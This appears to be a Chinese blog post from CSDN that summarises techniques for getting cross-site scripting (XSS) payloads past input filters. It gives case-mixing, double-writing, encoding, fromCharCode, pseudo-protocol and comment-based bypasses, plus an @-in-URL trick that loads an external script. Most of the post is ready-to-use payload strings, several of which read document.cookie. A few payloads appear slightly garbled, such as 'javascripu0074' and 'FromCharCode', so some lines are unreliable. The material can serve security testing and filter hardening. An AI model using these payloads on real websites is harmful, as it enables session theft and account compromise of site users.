XSS绕过方法总结

xss绕过方法
<script>alert('hello csdn');</script>//经典

大小写绕过

"'><Script>alert('xss')</Script>

双写绕过

<scrscriptipt>alert(1)</scrscriptipt>

替换绕过
过滤 alert 用prompt,confirm,top’alert’代替绕过
过滤() 用``代替绕过
过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过
小写转大写情况下 字符ſ大写后为S(ſ不等于s)
%00截断绕过

"/><script>alert(document.cookie)</script><!--

编码绕过
实体编码
javascript:alert(1) 十六进制
javascript:alert(1) 十进制
unicode编码
javascripu0074:alert(1)
url编码
javascrip%74:alert(1)
fromCharCode方法绕过
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))
javascript伪协议绕过
无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js
换行绕过正则匹配
onmousedown
=alert(1)
注释符
// 单行注释

<-- --> 注释多行内容
<-- --!> 注释多行内容
–> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释
闭合标签空格绕过

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

@符号绕过url限制
例如:https://www.segmentfault.com@xss.haozi.me/j.js
其实访问的是@后面的内容
“)逃逸函数后接分号
例:”);alert(1)//

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

绕过转义限制
例:
")
alert(1) //
xss paylaod形式

xss xss
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值